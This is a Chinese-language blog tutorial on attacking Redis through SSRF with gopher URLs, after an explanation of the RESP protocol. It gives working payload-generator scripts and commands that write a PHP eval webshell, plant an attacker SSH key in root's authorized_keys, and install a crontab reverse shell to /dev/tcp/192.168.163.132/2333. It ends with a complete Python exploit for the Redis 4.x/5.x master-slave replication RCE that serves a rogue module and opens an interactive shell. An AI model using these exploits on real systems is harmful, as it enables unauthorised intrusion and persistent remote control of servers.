SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。这里我们要介绍的是关于redis
中SSRF的利用,如果有什么错误的地方还请师傅们不吝赐教/握拳。
文章中的数据包构造会涉及到redis的RESP
协议,所以我们这里先科普一下,了解RESP协议的师傅可以跳过=。=
Redis
服务器与客户端通过RESP
(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
Bulk Strings
的RESP数组发送到Redis服务器。在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings
,回复的第一个字节是+
对于error
,回复的第一个字节是-
对于Integer
,回复的第一个字节是:
对于Bulk Strings
,回复的第一个字节是$
对于array
,回复的第一个字节是*
此外,RESP
能够使用稍后指定的Bulk Strings
或Array
的特殊变体来表示Null
值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)
结束。
我们用tcpdump
来抓个包来测试一下
tcpdump port 6379 -w ./Desktop/1.pcap
redis客户端中执行如下命令
192.168.163.128:6379> set name testOK192.168.163.128:6379> get name"test"192.168.163.128:6379>
抓到的数据包如下:
hex转储看一下:
正如我们前面所说的,客户端向将命令作为Bulk Strings
的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3
,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$4
代表字符串的长度,0d0a
即\r\n
表示结束符;+OK
表示服务端执行成功后返回的字符串
Gopher
协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了。
Gopher
协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
能未授权或者能通过弱口令认证访问到Redis服务器。
redis常见的SSRF攻击方式大概有这几种:
下面我们逐个实现。
这个方法比较常用,也是用得最多的=。=
flushallset 1 '<?php eval($_GET["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
写了一个简单的脚本,转化为redis RESP协议的格式
import urllibprotocol="gopher://"ip="192.168.163.128"port="6379"shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload(向右滑动,查看更多)
生成payload后,用curl
打一波:
执行成功,我们看一波shell是否写入成功:
成功写入。
如果.ssh
目录存在,则直接写入~/.ssh/authorized_keys,
如果不存在,则可以利用crontab
创建该目录。
构造redis命令
flushallset 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali'config set dir /root/.ssh/config set dbfilename authorized_keyssave(向右滑动,查看更多)
转化为redis RESP协议的格式。
PS:将第一个脚本改一下。
filename="authorized_keys"ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"path="/root/.ssh/"
生成payload:
curl
打一波:
我们来查看一波是否成功写入:
成功写入,尝试连接:
成功连接。
这个方法只能Centos
上使用,Ubuntu上行不通
,原因如下:
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>,
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>,
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的。
构造redis的命令如下:
flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave(向右滑动,查看更多)
转化为redis RESP协议的格式。
PS:将第一个脚本改一下。
reverse_ip="192.168.163.132"reverse_port="2333"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"
生成一波,尝试反弹shell:
成功反弹shell。
redis 4.x/5.x RCE是由LC/BC
战队队员Pavel Toporkov
在zeronights 2018
上提出的基于主从复制的redis rce
利用条件:
主从复制的概述:
建立主从复制,有3种方式:
slaveof <master_ip> <master_port>
--slaveof <master_ip> <master_port>
<master_ip> <master_port>
PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作。
我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
redis-server /etc/redis/redis.conf redis-server /etc/redis/redis6380.conf
我们把master_ip设置为127.0.0.1
,master_port为6380:
root@kali:/usr/bin# redis-cli -p 6379127.0.0.1:6379> SLAVEOF 127.0.0.1 6380OK127.0.0.1:6379> get test(nil)127.0.0.1:6379> exitroot@kali:/usr/bin# redis-cli -p 6380127.0.0.1:6380> get test(nil)127.0.0.1:6380> set test "test"OK127.0.0.1:6380> get test"test"127.0.0.1:6380> exitroot@kali:/usr/bin# redis-cli -p 6379127.0.0.1:6379> get test"test"(向右滑动,查看更多)
执行一波,我们可以明显看到数据达到了同步的效果。
如果我们想解除主从关系可以执行SLAVEOF NO ONE。
SLAVEOF ip port
config set dir pathconfig set dbfilename exp.so
+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
<runid>
无要求,不过长度一般为40,<offest>
一般设置为1。贴一下exp,写得比较丑,为了节省文章的篇幅其它功能我就没有加上去了,有需要的师傅可以自行添加=。=
import socketimport time
CRLF="\r\n"payload=open("exp.so","rb").read()exp_filename="exp.so"
def redis_format(arr): global CRLF global payload redis_arr=arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len(x))+CRLF+x cmd+=CRLF return cmd
def redis_connect(rhost,rport): sock=socket.socket() sock.connect((rhost,rport)) return sock
def send(sock,cmd): sock.send(redis_format(cmd)) print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock): flag=True try: while flag: shell=raw_input("\033[1;32;40m[*]\033[0m ") shell=shell.replace(" ","${IFS}") if shell=="exit" or shell=="quit": flag=False else: send(sock,"system.exec {}".format(shell)) except KeyboardInterrupt: return
def RogueServer(lport): global CRLF global payload flag=True result="" sock=socket.socket() sock.bind(("0.0.0.0",lport)) sock.listen(10) clientSock, address = sock.accept() while flag: data = clientSock.recv(1024) if "PING" in data: result="+PONG"+CRLF clientSock.send(result) flag=True elif "REPLCONF" in data: result="+OK"+CRLF clientSock.send(result) flag=True elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str(len(payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) flag=False
if __name__=="__main__": lhost="192.168.163.132" lport=6666 rhost="192.168.163.128" rport=6379 passwd="" redis_sock=redis_connect(rhost,rport) if passwd: send(redis_sock,"AUTH {}".format(passwd)) send(redis_sock,"SLAVEOF {} {}".format(lhost,lport)) send(redis_sock,"config set dbfilename {}".format(exp_filename)) time.sleep(2) RogueServer(lport) send(redis_sock,"MODULE LOAD ./{}".format(exp_filename)) interact_shell(redis_sock)(向右滑动,查看更多)
效果图:
精彩推荐